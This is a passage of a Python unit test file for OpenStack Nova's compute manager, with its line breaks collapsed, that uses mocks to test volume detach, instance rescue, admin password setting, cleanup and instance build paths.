test_remove_volume_connection(self, inst_from_db, detach, bdm_get): bdm = mock.sentinel.bdm inst_obj = mock.sentinel.inst_obj bdm_get.return_value = bdm inst_from_db.return_value = inst_obj with mock.patch.object(self.compute, 'volume_api'): self.compute.remove_volume_connection(self.context, 'vol', inst_obj) detach.assert_called_once_with(self.context, inst_obj, bdm) def test_detach_volume(self): self._test_detach_volume() def test_detach_volume_not_destroy_bdm(self): self._test_detach_volume(destroy_bdm=False) @mock.patch('nova.objects.BlockDeviceMapping.get_by_volume_id') @mock.patch('nova.compute.manager.ComputeManager._driver_detach_volume') @mock.patch('nova.compute.manager.ComputeManager.' '_notify_about_instance_usage') def _test_detach_volume(self, notify_inst_usage, detach, bdm_get, destroy_bdm=True): volume_id = '123' inst_obj = mock.sentinel.inst_obj bdm = mock.MagicMock(spec=objects.BlockDeviceMapping) bdm.device_name = 'vdb' bdm_get.return_value = bdm detach.return_value = {} with mock.patch.object(self.compute, 'volume_api') as volume_api: with mock.patch.object(self.compute, 'driver') as driver: connector_sentinel = mock.sentinel.connector driver.get_volume_connector.return_value = connector_sentinel self.compute._detach_volume(self.context, volume_id, inst_obj, destroy_bdm=destroy_bdm) detach.assert_called_once_with(self.context, inst_obj, bdm) driver.get_volume_connector.assert_called_once_with(inst_obj) volume_api.terminate_connection.assert_called_once_with( self.context, volume_id, connector_sentinel) volume_api.detach.assert_called_once_with(mock.ANY, volume_id) notify_inst_usage.assert_called_once_with( self.context, inst_obj, "volume.detach", extra_usage_info={'volume_id': volume_id} ) if destroy_bdm: bdm.destroy.assert_called_once_with() else: self.assertFalse(bdm.destroy.called) def test_detach_volume_evacuate(self): """For evacuate, terminate_connection is called with original host.""" expected_connector = {'host': 'evacuated-host'} conn_info_str = '{"connector": {"host": "evacuated-host"}}' self._test_detach_volume_evacuate(conn_info_str, expected=expected_connector) def test_detach_volume_evacuate_legacy(self): """Test coverage for evacuate with legacy attachments. In this case, legacy means the volume was attached to the instance before nova stashed the connector in connection_info. The connector sent to terminate_connection will still be for the local host in this case because nova does not have the info to get the connector for the original (evacuated) host. """ conn_info_str = '{"foo": "bar"}' # Has no 'connector'. self._test_detach_volume_evacuate(conn_info_str) def test_detach_volume_evacuate_mismatch(self): """Test coverage for evacuate with connector mismatch. For evacuate, if the stashed connector also has the wrong host, then log it and stay with the local connector. """ conn_info_str = '{"connector": {"host": "other-host"}}' self._test_detach_volume_evacuate(conn_info_str) @mock.patch('nova.objects.BlockDeviceMapping.get_by_volume_id') @mock.patch('nova.compute.manager.ComputeManager.' '_notify_about_instance_usage') def _test_detach_volume_evacuate(self, conn_info_str, notify_inst_usage, bdm_get, expected=None): """Re-usable code for detach volume evacuate test cases. :param conn_info_str: String form of the stashed connector. :param expected: Dict of the connector that is expected in the terminate call (optional). Default is to expect the local connector to be used. """ volume_id = 'vol_id' instance = fake_instance.fake_instance_obj(self.context, host='evacuated-host') bdm = mock.Mock() bdm.connection_info = conn_info_str bdm_get.return_value = bdm local_connector = {'host': 'local-connector-host'} expected_connector = local_connector if not expected else expected with mock.patch.object(self.compute, 'volume_api') as volume_api: with mock.patch.object(self.compute, 'driver') as driver: driver.get_volume_connector.return_value = local_connector self.compute._detach_volume(self.context, volume_id, instance, destroy_bdm=False) driver.get_volume_connector.assert_called_once_with(instance) volume_api.terminate_connection.assert_called_once_with( self.context, volume_id, expected_connector) volume_api.detach.assert_called_once_with(mock.ANY, volume_id) notify_inst_usage.assert_called_once_with( self.context, instance, "volume.detach", extra_usage_info={'volume_id': volume_id} ) def test__driver_detach_volume_return(self): """_driver_detach_volume returns the connection_info from loads().""" with mock.patch.object(jsonutils, 'loads') as loads: conn_info_str = 'test-expected-loads-param' bdm = mock.Mock() bdm.connection_info = conn_info_str loads.return_value = {'test-loads-key': 'test loads return value'} instance = fake_instance.fake_instance_obj(self.context) ret = self.compute._driver_detach_volume(self.context, instance, bdm) self.assertEqual(loads.return_value, ret) loads.assert_called_once_with(conn_info_str) def _test_rescue(self, clean_shutdown=True): instance = fake_instance.fake_instance_obj( self.context, vm_state=vm_states.ACTIVE) fake_nw_info = network_model.NetworkInfo() rescue_image_meta = {'id': 'fake', 'name': 'fake'} with contextlib.nested( mock.patch.object(self.context, 'elevated', return_value=self.context), mock.patch.object(self.compute.network_api, 'get_instance_nw_info', return_value=fake_nw_info), mock.patch.object(self.compute, '_get_rescue_image', return_value=rescue_image_meta), mock.patch.object(self.compute, '_notify_about_instance_usage'), mock.patch.object(self.compute, '_power_off_instance'), mock.patch.object(self.compute.driver, 'rescue'), mock.patch.object(compute_utils, 'notify_usage_exists'), mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING), mock.patch.object(instance, 'save') ) as ( elevated_context, get_nw_info, get_rescue_image, notify_instance_usage, power_off_instance, driver_rescue, notify_usage_exists, get_power_state, instance_save ): self.compute.rescue_instance( self.context, instance, rescue_password='verybadpass', rescue_image_ref=None, clean_shutdown=clean_shutdown) # assert the field values on the instance object self.assertEqual(vm_states.RESCUED, instance.vm_state) self.assertIsNone(instance.task_state) self.assertEqual(power_state.RUNNING, instance.power_state) self.assertIsNotNone(instance.launched_at) # assert our mock calls get_nw_info.assert_called_once_with(self.context, instance) get_rescue_image.assert_called_once_with( self.context, instance, None) extra_usage_info = {'rescue_image_name': 'fake'} notify_calls = [ mock.call(self.context, instance, "rescue.start", extra_usage_info=extra_usage_info, network_info=fake_nw_info), mock.call(self.context, instance, "rescue.end", extra_usage_info=extra_usage_info, network_info=fake_nw_info) ] notify_instance_usage.assert_has_calls(notify_calls) power_off_instance.assert_called_once_with(self.context, instance, clean_shutdown) driver_rescue.assert_called_once_with( self.context, instance, fake_nw_info, rescue_image_meta, 'verybadpass') notify_usage_exists.assert_called_once_with(self.compute.notifier, self.context, instance, current_period=True) instance_save.assert_called_once_with( expected_task_state=task_states.RESCUING) def test_rescue(self): self._test_rescue() def test_rescue_forced_shutdown(self): self._test_rescue(clean_shutdown=False) def test_unrescue(self): instance = fake_instance.fake_instance_obj( self.context, vm_state=vm_states.RESCUED) fake_nw_info = network_model.NetworkInfo() with contextlib.nested( mock.patch.object(self.context, 'elevated', return_value=self.context), mock.patch.object(self.compute.network_api, 'get_instance_nw_info', return_value=fake_nw_info), mock.patch.object(self.compute, '_notify_about_instance_usage'), mock.patch.object(self.compute.driver, 'unrescue'), mock.patch.object(self.compute, '_get_power_state', return_value=power_state.RUNNING), mock.patch.object(instance, 'save') ) as ( elevated_context, get_nw_info, notify_instance_usage, driver_unrescue, get_power_state, instance_save ): self.compute.unrescue_instance(self.context, instance) # assert the field values on the instance object self.assertEqual(vm_states.ACTIVE, instance.vm_state) self.assertIsNone(instance.task_state) self.assertEqual(power_state.RUNNING, instance.power_state) # assert our mock calls get_nw_info.assert_called_once_with(self.context, instance) notify_calls = [ mock.call(self.context, instance, "unrescue.start", network_info=fake_nw_info), mock.call(self.context, instance, "unrescue.end", network_info=fake_nw_info) ] notify_instance_usage.assert_has_calls(notify_calls) driver_unrescue.assert_called_once_with(instance, fake_nw_info) instance_save.assert_called_once_with( expected_task_state=task_states.UNRESCUING) @mock.patch('nova.compute.manager.ComputeManager._get_power_state', return_value=power_state.RUNNING) @mock.patch.object(objects.Instance, 'save') @mock.patch('nova.utils.generate_password', return_value='fake-pass') def test_set_admin_password(self, gen_password_mock, instance_save_mock, power_state_mock): # Ensure instance can have its admin password set. instance = fake_instance.fake_instance_obj( self.context, vm_state=vm_states.ACTIVE, task_state=task_states.UPDATING_PASSWORD) @mock.patch.object(self.context, 'elevated', return_value=self.context) @mock.patch.object(self.compute.driver, 'set_admin_password') def do_test(driver_mock, elevated_mock): # call the manager method self.compute.set_admin_password(self.context, instance, None) # make our assertions self.assertEqual(vm_states.ACTIVE, instance.vm_state) self.assertIsNone(instance.task_state) power_state_mock.assert_called_once_with(self.context, instance) driver_mock.assert_called_once_with(instance, 'fake-pass') instance_save_mock.assert_called_once_with( expected_task_state=task_states.UPDATING_PASSWORD) do_test() @mock.patch('nova.compute.manager.ComputeManager._get_power_state', return_value=power_state.NOSTATE) @mock.patch('nova.compute.manager.ComputeManager._instance_update') @mock.patch.object(objects.Instance, 'save') @mock.patch.object(compute_utils, 'add_instance_fault_from_exc') def test_set_admin_password_bad_state(self, add_fault_mock, instance_save_mock, update_mock, power_state_mock): # Test setting password while instance is rebuilding. instance = fake_instance.fake_instance_obj(self.context) with mock.patch.object(self.context, 'elevated', return_value=self.context): # call the manager method self.assertRaises(exception.InstancePasswordSetFailed, self.compute.set_admin_password, self.context, instance, None) # make our assertions power_state_mock.assert_called_once_with(self.context, instance) instance_save_mock.assert_called_once_with( expected_task_state=task_states.UPDATING_PASSWORD) add_fault_mock.assert_called_once_with( self.context, instance, mock.ANY, mock.ANY) @mock.patch('nova.utils.generate_password', return_value='fake-pass') @mock.patch('nova.compute.manager.ComputeManager._get_power_state', return_value=power_state.RUNNING) @mock.patch('nova.compute.manager.ComputeManager._instance_update') @mock.patch.object(objects.Instance, 'save') @mock.patch.object(compute_utils, 'add_instance_fault_from_exc') def _do_test_set_admin_password_driver_error(self, exc, expected_vm_state, expected_task_state, expected_exception, add_fault_mock, instance_save_mock, update_mock, power_state_mock, gen_password_mock): # Ensure expected exception is raised if set_admin_password fails. instance = fake_instance.fake_instance_obj( self.context, vm_state=vm_states.ACTIVE, task_state=task_states.UPDATING_PASSWORD) @mock.patch.object(self.context, 'elevated', return_value=self.context) @mock.patch.object(self.compute.driver, 'set_admin_password', side_effect=exc) def do_test(driver_mock, elevated_mock): # error raised from the driver should not reveal internal # information so a new error is raised self.assertRaises(expected_exception, self.compute.set_admin_password, self.context, instance=instance, new_pass=None) if expected_exception == NotImplementedError: instance_save_mock.assert_called_once_with( expected_task_state=task_states.UPDATING_PASSWORD) else: # setting the instance to error state instance_save_mock.assert_called_once_with() self.assertEqual(expected_vm_state, instance.vm_state) # check revert_task_state decorator update_mock.assert_called_once_with( self.context, instance, task_state=expected_task_state) # check wrap_instance_fault decorator add_fault_mock.assert_called_once_with( self.context, instance, mock.ANY, mock.ANY) do_test() def test_set_admin_password_driver_not_authorized(self): # Ensure expected exception is raised if set_admin_password not # authorized. exc = exception.Forbidden('Internal error') expected_exception = exception.InstancePasswordSetFailed self._do_test_set_admin_password_driver_error( exc, vm_states.ERROR, None, expected_exception) def test_set_admin_password_driver_not_implemented(self): # Ensure expected exception is raised if set_admin_password not # implemented by driver. exc = NotImplementedError() expected_exception = NotImplementedError self._do_test_set_admin_password_driver_error( exc, vm_states.ACTIVE, None, expected_exception) def test_destroy_evacuated_instances(self): our_host = self.compute.host instance_1 = objects.Instance(self.context) instance_1.uuid = 'foo' instance_1.task_state = None instance_1.vm_state = vm_states.ACTIVE instance_1.host = 'not-' + our_host instance_2 = objects.Instance(self.context) instance_2.uuid = 'bar' instance_2.task_state = None instance_2.vm_state = vm_states.ACTIVE instance_2.host = 'not-' + our_host # Only instance 2 has a migration record migration = objects.Migration(instance_uuid=instance_2.uuid) # Consider the migration successful migration.status = 'done' with contextlib.nested( mock.patch.object(self.compute, '_get_instances_on_driver', return_value=[instance_1, instance_2]), mock.patch.object(self.compute.network_api, 'get_instance_nw_info', return_value=None), mock.patch.object(self.compute, '_get_instance_block_device_info', return_value={}), mock.patch.object(self.compute, '_is_instance_storage_shared', return_value=False), mock.patch.object(self.compute.driver, 'destroy'), mock.patch('nova.objects.MigrationList.get_by_filters'), mock.patch('nova.objects.Migration.save') ) as (_get_instances_on_driver, get_instance_nw_info, _get_instance_block_device_info, _is_instance_storage_shared, destroy, migration_list, migration_save): migration_list.return_value = [migration] self.compute._destroy_evacuated_instances(self.context) # Only instance 2 should be deleted. Instance 1 is still running # here, but no migration from our host exists, so ignore it destroy.assert_called_once_with(self.context, instance_2, None, {}, True) @mock.patch('nova.compute.manager.ComputeManager.' '_destroy_evacuated_instances') @mock.patch('nova.compute.manager.LOG') def test_init_host_foreign_instance(self, mock_log, mock_destroy): inst = mock.MagicMock() inst.host = self.compute.host + '-alt' self.compute._init_instance(mock.sentinel.context, inst) self.assertFalse(inst.save.called) self.assertTrue(mock_log.warning.called) msg = mock_log.warning.call_args_list[0] self.assertIn('appears to not be owned by this host', msg[0][0]) @mock.patch('nova.compute.manager.ComputeManager._instance_update') def test_error_out_instance_on_exception_not_implemented_err(self, inst_update_mock): instance = fake_instance.fake_instance_obj(self.context) def do_test(): with self.compute._error_out_instance_on_exception( self.context, instance, instance_state=vm_states.STOPPED): raise NotImplementedError('test') self.assertRaises(NotImplementedError, do_test) inst_update_mock.assert_called_once_with( self.context, instance, vm_state=vm_states.STOPPED, task_state=None) @mock.patch('nova.compute.manager.ComputeManager._instance_update') def test_error_out_instance_on_exception_inst_fault_rollback(self, inst_update_mock): instance = fake_instance.fake_instance_obj(self.context) def do_test(): with self.compute._error_out_instance_on_exception(self.context, instance): raise exception.InstanceFaultRollback( inner_exception=test.TestingException('test')) self.assertRaises(test.TestingException, do_test) inst_update_mock.assert_called_once_with( self.context, instance, vm_state=vm_states.ACTIVE, task_state=None) @mock.patch('nova.compute.manager.ComputeManager.' '_set_instance_obj_error_state') def test_error_out_instance_on_exception_unknown_with_quotas(self, set_error): instance = fake_instance.fake_instance_obj(self.context) quotas = mock.create_autospec(objects.Quotas, spec_set=True) def do_test(): with self.compute._error_out_instance_on_exception( self.context, instance, quotas): raise test.TestingException('test') self.assertRaises(test.TestingException, do_test) self.assertEqual(1, len(quotas.method_calls)) self.assertEqual(mock.call.rollback(), quotas.method_calls[0]) set_error.assert_called_once_with(self.context, instance) def test_cleanup_volumes(self): instance = fake_instance.fake_instance_obj(self.context) bdm_do_not_delete_dict = fake_block_device.FakeDbBlockDeviceDict( {'volume_id': 'fake-id1', 'source_type': 'image', 'delete_on_termination': False}) bdm_delete_dict = fake_block_device.FakeDbBlockDeviceDict( {'volume_id': 'fake-id2', 'source_type': 'image', 'delete_on_termination': True}) bdms = block_device_obj.block_device_make_list(self.context, [bdm_do_not_delete_dict, bdm_delete_dict]) with mock.patch.object(self.compute.volume_api, 'delete') as volume_delete: self.compute._cleanup_volumes(self.context, instance.uuid, bdms) volume_delete.assert_called_once_with(self.context, bdms[1].volume_id) def test_cleanup_volumes_exception_do_not_raise(self): instance = fake_instance.fake_instance_obj(self.context) bdm_dict1 = fake_block_device.FakeDbBlockDeviceDict( {'volume_id': 'fake-id1', 'source_type': 'image', 'delete_on_termination': True}) bdm_dict2 = fake_block_device.FakeDbBlockDeviceDict( {'volume_id': 'fake-id2', 'source_type': 'image', 'delete_on_termination': True}) bdms = block_device_obj.block_device_make_list(self.context, [bdm_dict1, bdm_dict2]) with mock.patch.object(self.compute.volume_api, 'delete', side_effect=[test.TestingException(), None]) as volume_delete: self.compute._cleanup_volumes(self.context, instance.uuid, bdms, raise_exc=False) calls = [mock.call(self.context, bdm.volume_id) for bdm in bdms] self.assertEqual(calls, volume_delete.call_args_list) def test_cleanup_volumes_exception_raise(self): instance = fake_instance.fake_instance_obj(self.context) bdm_dict1 = fake_block_device.FakeDbBlockDeviceDict( {'volume_id': 'fake-id1', 'source_type': 'image', 'delete_on_termination': True}) bdm_dict2 = fake_block_device.FakeDbBlockDeviceDict( {'volume_id': 'fake-id2', 'source_type': 'image', 'delete_on_termination': True}) bdms = block_device_obj.block_device_make_list(self.context, [bdm_dict1, bdm_dict2]) with mock.patch.object(self.compute.volume_api, 'delete', side_effect=[test.TestingException(), None]) as volume_delete: self.assertRaises(test.TestingException, self.compute._cleanup_volumes, self.context, instance.uuid, bdms) calls = [mock.call(self.context, bdm.volume_id) for bdm in bdms] self.assertEqual(calls, volume_delete.call_args_list) def test_stop_instance_task_state_none_power_state_shutdown(self): # Tests that stop_instance doesn't puke when the instance power_state # is shutdown and the task_state is None. instance = fake_instance.fake_instance_obj( self.context, vm_state=vm_states.ACTIVE, task_state=None, power_state=power_state.SHUTDOWN) @mock.patch.object(self.compute, '_get_power_state', return_value=power_state.SHUTDOWN) @mock.patch.object(self.compute, '_notify_about_instance_usage') @mock.patch.object(self.compute, '_power_off_instance') @mock.patch.object(instance, 'save') def do_test(save_mock, power_off_mock, notify_mock, get_state_mock): # run the code self.compute.stop_instance(self.context, instance, True) # assert the calls self.assertEqual(2, get_state_mock.call_count) notify_mock.assert_has_calls([ mock.call(self.context, instance, 'power_off.start'), mock.call(self.context, instance, 'power_off.end') ]) power_off_mock.assert_called_once_with( self.context, instance, True) save_mock.assert_called_once_with( expected_task_state=[task_states.POWERING_OFF, None]) self.assertEqual(power_state.SHUTDOWN, instance.power_state) self.assertIsNone(instance.task_state) self.assertEqual(vm_states.STOPPED, instance.vm_state) do_test() def test_reset_network_driver_not_implemented(self): instance = fake_instance.fake_instance_obj(self.context) @mock.patch.object(self.compute.driver, 'reset_network', side_effect=NotImplementedError()) @mock.patch.object(compute_utils, 'add_instance_fault_from_exc') def do_test(mock_add_fault, mock_reset): self.assertRaises(messaging.ExpectedException, self.compute.reset_network, self.context, instance) self.compute = utils.ExceptionHelper(self.compute) self.assertRaises(NotImplementedError, self.compute.reset_network, self.context, instance) do_test() def test_rebuild_default_impl(self): def _detach(context, bdms): # NOTE(rpodolyaka): check that instance has been powered off by # the time we detach block devices, exact calls arguments will be # checked below self.assertTrue(mock_power_off.called) self.assertFalse(mock_destroy.called) def _attach(context, instance, bdms, do_check_attach=True): return {'block_device_mapping': 'shared_block_storage'} def _spawn(context, instance, image_meta, injected_files, admin_password, network_info=None, block_device_info=None): self.assertEqual(block_device_info['block_device_mapping'], 'shared_block_storage') with contextlib.nested( mock.patch.object(self.compute.driver, 'destroy', return_value=None), mock.patch.object(self.compute.driver, 'spawn', side_effect=_spawn), mock.patch.object(objects.Instance, 'save', return_value=None), mock.patch.object(self.compute, '_power_off_instance', return_value=None) ) as( mock_destroy, mock_spawn, mock_save, mock_power_off ): instance = fake_instance.fake_instance_obj(self.context) instance.migration_context = None instance.numa_topology = None instance.task_state = task_states.REBUILDING instance.save(expected_task_state=[task_states.REBUILDING]) self.compute._rebuild_default_impl(self.context, instance, None, [], admin_password='new_pass', bdms=[], detach_block_devices=_detach, attach_block_devices=_attach, network_info=None, recreate=False, block_device_info=None, preserve_ephemeral=False) self.assertTrue(mock_save.called) self.assertTrue(mock_spawn.called) mock_destroy.assert_called_once_with( self.context, instance, network_info=None, block_device_info=None) mock_power_off.assert_called_once_with( self.context, instance, clean_shutdown=True) @mock.patch.object(utils, 'last_completed_audit_period', return_value=(0, 0)) @mock.patch.object(time, 'time', side_effect=[10, 20, 21]) @mock.patch.object(objects.InstanceList, 'get_by_host', return_value=[]) @mock.patch.object(objects.BandwidthUsage, 'get_by_instance_uuid_and_mac') @mock.patch.object(db, 'bw_usage_update') def test_poll_bandwidth_usage(self, bw_usage_update, get_by_uuid_mac, get_by_host, time, last_completed_audit): bw_counters = [{'uuid': 'fake-uuid', 'mac_address': 'fake-mac', 'bw_in': 1, 'bw_out': 2}] usage = objects.BandwidthUsage() usage.bw_in = 3 usage.bw_out = 4 usage.last_ctr_in = 0 usage.last_ctr_out = 0 self.flags(bandwidth_poll_interval=1) get_by_uuid_mac.return_value = usage _time = timeutils.utcnow() bw_usage_update.return_value = {'uuid': '', 'mac': '', 'start_period': _time, 'last_refreshed': _time, 'bw_in': 0, 'bw_out': 0, 'last_ctr_in': 0, 'last_ctr_out': 0, 'deleted': 0, 'created_at': _time, 'updated_at': _time, 'deleted_at': _time} with mock.patch.object(self.compute.driver, 'get_all_bw_counters', return_value=bw_counters): self.compute._poll_bandwidth_usage(self.context) get_by_uuid_mac.assert_called_once_with(self.context, 'fake-uuid', 'fake-mac', start_period=0, use_slave=True) # NOTE(sdague): bw_usage_update happens at some time in # the future, so what last_refreshed is is irrelevant. bw_usage_update.assert_called_once_with(self.context, 'fake-uuid', 'fake-mac', 0, 4, 6, 1, 2, last_refreshed=mock.ANY, update_cells=False) def test_reverts_task_state_instance_not_found(self): # Tests that the reverts_task_state decorator in the compute manager # will not trace when an InstanceNotFound is raised. instance = objects.Instance(uuid='fake') instance_update_mock = mock.Mock( side_effect=exception.InstanceNotFound(instance_id=instance.uuid)) self.compute._instance_update = instance_update_mock log_mock = mock.Mock() manager.LOG = log_mock @manager.reverts_task_state def fake_function(self, context, instance): raise test.TestingException() self.assertRaises(test.TestingException, fake_function, self, self.context, instance) self.assertFalse(log_mock.called) @mock.patch.object(nova.scheduler.client.SchedulerClient, 'update_instance_info') def test_update_scheduler_instance_info(self, mock_update): instance = objects.Instance(uuid='fake') self.compute._update_scheduler_instance_info(self.context, instance) self.assertEqual(mock_update.call_count, 1) args = mock_update.call_args[0] self.assertNotEqual(args[0], self.context) self.assertIsInstance(args[0], self.context.__class__) self.assertEqual(args[1], self.compute.host) # Send a single instance; check that the method converts to an # InstanceList self.assertIsInstance(args[2], objects.InstanceList) self.assertEqual(args[2].objects[0], instance) @mock.patch.object(nova.scheduler.client.SchedulerClient, 'delete_instance_info') def test_delete_scheduler_instance_info(self, mock_delete): self.compute._delete_scheduler_instance_info(self.context, mock.sentinel.inst_uuid) self.assertEqual(mock_delete.call_count, 1) args = mock_delete.call_args[0] self.assertNotEqual(args[0], self.context) self.assertIsInstance(args[0], self.context.__class__) self.assertEqual(args[1], self.compute.host) self.assertEqual(args[2], mock.sentinel.inst_uuid) @mock.patch.object(nova.context.RequestContext, 'elevated') @mock.patch.object(nova.objects.InstanceList, 'get_by_host') @mock.patch.object(nova.scheduler.client.SchedulerClient, 'sync_instance_info') def test_sync_scheduler_instance_info(self, mock_sync, mock_get_by_host, mock_elevated): inst1 = objects.Instance(uuid='fake1') inst2 = objects.Instance(uuid='fake2') inst3 = objects.Instance(uuid='fake3') exp_uuids = [inst.uuid for inst in [inst1, inst2, inst3]] mock_get_by_host.return_value = objects.InstanceList( objects=[inst1, inst2, inst3]) fake_elevated = context.get_admin_context() mock_elevated.return_value = fake_elevated self.compute._sync_scheduler_instance_info(self.context) mock_get_by_host.assert_called_once_with( fake_elevated, self.compute.host, expected_attrs=[], use_slave=True) mock_sync.assert_called_once_with(fake_elevated, self.compute.host, exp_uuids) @mock.patch.object(nova.scheduler.client.SchedulerClient, 'sync_instance_info') @mock.patch.object(nova.scheduler.client.SchedulerClient, 'delete_instance_info') @mock.patch.object(nova.scheduler.client.SchedulerClient, 'update_instance_info') def test_scheduler_info_updates_off(self, mock_update, mock_delete, mock_sync): mgr = self.compute mgr.send_instance_updates = False mgr._update_scheduler_instance_info(self.context, mock.sentinel.instance) mgr._delete_scheduler_instance_info(self.context, mock.sentinel.instance_uuid) mgr._sync_scheduler_instance_info(self.context) # None of the calls should have been made self.assertFalse(mock_update.called) self.assertFalse(mock_delete.called) self.assertFalse(mock_sync.called) def test_refresh_instance_security_rules_takes_non_object(self): inst = fake_instance.fake_db_instance() with mock.patch.object(self.compute.driver, 'refresh_instance_security_rules') as mock_r: self.compute.refresh_instance_security_rules(self.context, inst) self.assertIsInstance(mock_r.call_args_list[0][0][0], objects.Instance) def test_set_instance_obj_error_state_with_clean_task_state(self): instance = fake_instance.fake_instance_obj(self.context, vm_state=vm_states.BUILDING, task_state=task_states.SPAWNING) with mock.patch.object(instance, 'save'): self.compute._set_instance_obj_error_state(self.context, instance, clean_task_state=True) self.assertEqual(vm_states.ERROR, instance.vm_state) self.assertIsNone(instance.task_state) def test_set_instance_obj_error_state_by_default(self): instance = fake_instance.fake_instance_obj(self.context, vm_state=vm_states.BUILDING, task_state=task_states.SPAWNING) with mock.patch.object(instance, 'save'): self.compute._set_instance_obj_error_state(self.context, instance) self.assertEqual(vm_states.ERROR, instance.vm_state) self.assertEqual(task_states.SPAWNING, instance.task_state) @mock.patch.object(objects.Instance, 'save') def test_instance_update(self, mock_save): instance = objects.Instance(task_state=task_states.SCHEDULING, vm_state=vm_states.BUILDING) updates = {'task_state': None, 'vm_state': vm_states.ERROR} with mock.patch.object(self.compute, '_update_resource_tracker') as mock_rt: self.compute._instance_update(self.context, instance, **updates) self.assertIsNone(instance.task_state) self.assertEqual(vm_states.ERROR, instance.vm_state) mock_save.assert_called_once_with() mock_rt.assert_called_once_with(self.context, instance) @mock.patch('nova.objects.BlockDeviceMappingList.get_by_instance_uuid') @mock.patch('nova.compute.manager.ComputeManager._delete_instance') def test_terminate_instance_no_bdm_volume_id(self, mock_delete_instance, mock_bdm_get_by_inst): # Tests that we refresh the bdm list if a volume bdm does not have the # volume_id set. instance = fake_instance.fake_instance_obj( self.context, vm_state=vm_states.ERROR, task_state=task_states.DELETING) bdm = fake_block_device.FakeDbBlockDeviceDict( {'source_type': 'snapshot', 'destination_type': 'volume', 'instance_uuid': instance.uuid, 'device_name': '/dev/vda'}) bdms = block_device_obj.block_device_make_list(self.context, [bdm]) # since the bdms passed in don't have a volume_id, we'll go back to the # database looking for updated versions mock_bdm_get_by_inst.return_value = bdms self.compute.terminate_instance(self.context, instance, bdms, []) mock_bdm_get_by_inst.assert_called_once_with( self.context, instance.uuid) mock_delete_instance.assert_called_once_with( self.context, instance, bdms, mock.ANY) class ComputeManagerBuildInstanceTestCase(test.NoDBTestCase): def setUp(self): super(ComputeManagerBuildInstanceTestCase, self).setUp() self.compute = importutils.import_object(CONF.compute_manager) self.context = context.RequestContext('fake', 'fake') self.instance = fake_instance.fake_instance_obj(self.context, vm_state=vm_states.ACTIVE, expected_attrs=['metadata', 'system_metadata', 'info_cache']) self.admin_pass = 'pass' self.injected_files = [] self.image = {} self.node = 'fake-node' self.limits = {} self.requested_networks = [] self.security_groups = [] self.block_device_mapping = [] self.filter_properties = {'retry': {'num_attempts': 1, 'hosts': [[self.compute.host, 'fake-node']]}} def fake_network_info(): return network_model.NetworkInfo([{'address': '1.2.3.4'}]) self.network_info = network_model.NetworkInfoAsyncWrapper( fake_network_info) self.block_device_info = self.compute._prep_block_device(context, self.instance, self.block_device_mapping) # override tracker with a version that doesn't need the database: fake_rt = fake_resource_tracker.FakeResourceTracker(self.compute.host, self.compute.driver, self.node) self.compute._resource_tracker_dict[self.node] = fake_rt def _do_build_instance_update(self, reschedule_update=False): self.mox.StubOutWithMock(self.instance, 'save') self.instance.save( expected_task_state=(task_states.SCHEDULING, None)).AndReturn( self.instance) if reschedule_update: self.instance.save().AndReturn(self.instance) def _build_and_run_instance_update(self): self.mox.StubOutWithMock(self.instance, 'save') self._build_resources_instance_update(stub=False) self.instance.save(expected_task_state= task_states.BLOCK_DEVICE_MAPPING).AndReturn(self.instance) def _build_resources_instance_update(self, stub=True): if stub: self.mox.StubOutWithMock(self.instance, 'save') self.instance.save().AndReturn(self.instance) def _notify_about_instance_usage(self, event, stub=True, **kwargs): if stub: self.mox.StubOutWithMock(self.compute, '_notify_about_instance_usage') self.compute._notify_about_instance_usage(self.context, self.instance, event, **kwargs) def _instance_action_events(self): self.mox.StubOutWithMock(objects.InstanceActionEvent, 'event_start') self.mox.StubOutWithMock(objects.InstanceActionEvent, 'event_finish_with_failure') objects.InstanceActionEvent.event_start( self.context, self.instance.uuid, mox.IgnoreArg(), want_result=False) objects.InstanceActionEvent.event_finish_with_failure( self.context, self.instance.uuid, mox.IgnoreArg(), exc_val=mox.IgnoreArg(), exc_tb=mox.IgnoreArg(), want_result=False) @staticmethod def _assert_build_instance_hook_called(mock_hooks, result): # NOTE(coreywright): we want to test the return value of # _do_build_and_run_instance, but it doesn't bubble all the way up, so # mock the hooking, which allows us to test that too, though a little # too intimately mock_hooks.setdefault().run_post.assert_called_once_with( 'build_instance', result, mock.ANY, mock.ANY, f=None) @mock.patch('nova.hooks._HOOKS') @mock.patch('nova.utils.spawn_n') def test_build_and_run_instance_called_with_proper_args(self, mock_spawn, mock_hooks): mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) self.mox.StubOutWithMock(self.compute, '_build_and_run_instance') self._do_build_instance_update() self.compute._build_and_run_instance(self.context, self.instance, self.image, self.injected_files, self.admin_pass, self.requested_networks, self.security_groups, self.block_device_mapping, self.node, self.limits, self.filter_properties) self._instance_action_events() self.mox.ReplayAll() self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=self.requested_networks, security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) self._assert_build_instance_hook_called(mock_hooks, build_results.ACTIVE) # This test when sending an icehouse compatible rpc call to juno compute # node, NetworkRequest object can load from three items tuple. @mock.patch('nova.objects.Instance.save') @mock.patch('nova.compute.manager.ComputeManager._build_and_run_instance') @mock.patch('nova.utils.spawn_n') def test_build_and_run_instance_with_icehouse_requested_network( self, mock_spawn, mock_build_and_run, mock_save): fake_server_actions.stub_out_action_events(self.stubs) mock_spawn.side_effect = lambda f, *a, **k: f(*a, **k) mock_save.return_value = self.instance self.compute.build_and_run_instance(self.context, self.instance, self.image, request_spec={}, filter_properties=self.filter_properties, injected_files=self.injected_files, admin_password=self.admin_pass, requested_networks=[objects.NetworkRequest( network_id='fake_network_id', address='10.0.0.1', port_id='fake_port_id')], security_groups=self.security_groups, block_device_mapping=self.block_device_mapping, node=self.node, limits=self.limits) requested_network = mock_build_and_run.call_args[0][5][0] self.assertEqual('fake_network_id', requested_network.network_id) self.assertEqual('10.0.0.1', str(requested_network.address)) self.assertEqual('fake_port_id', requested_network.port_id) @mock.patch('nova.hooks._HOOKS') @mock.patch('nova.utils.spawn_n') def test_build_abort_exception(self, mock_spawn, mock_hooks): def fake_spawn(f, *args, **kwargs): # NOTE(danms): Simulate the detached nature of spawn so that # we confirm that the inner task has the fault logic try: return f(*args, **kwargs) except Exception: pass mock_spawn.side_effect = fake_spawn self.mox.StubOutWithMock(self.compute, '_build_and_run_instance') self.mox.StubOutWithMock(self.compute, 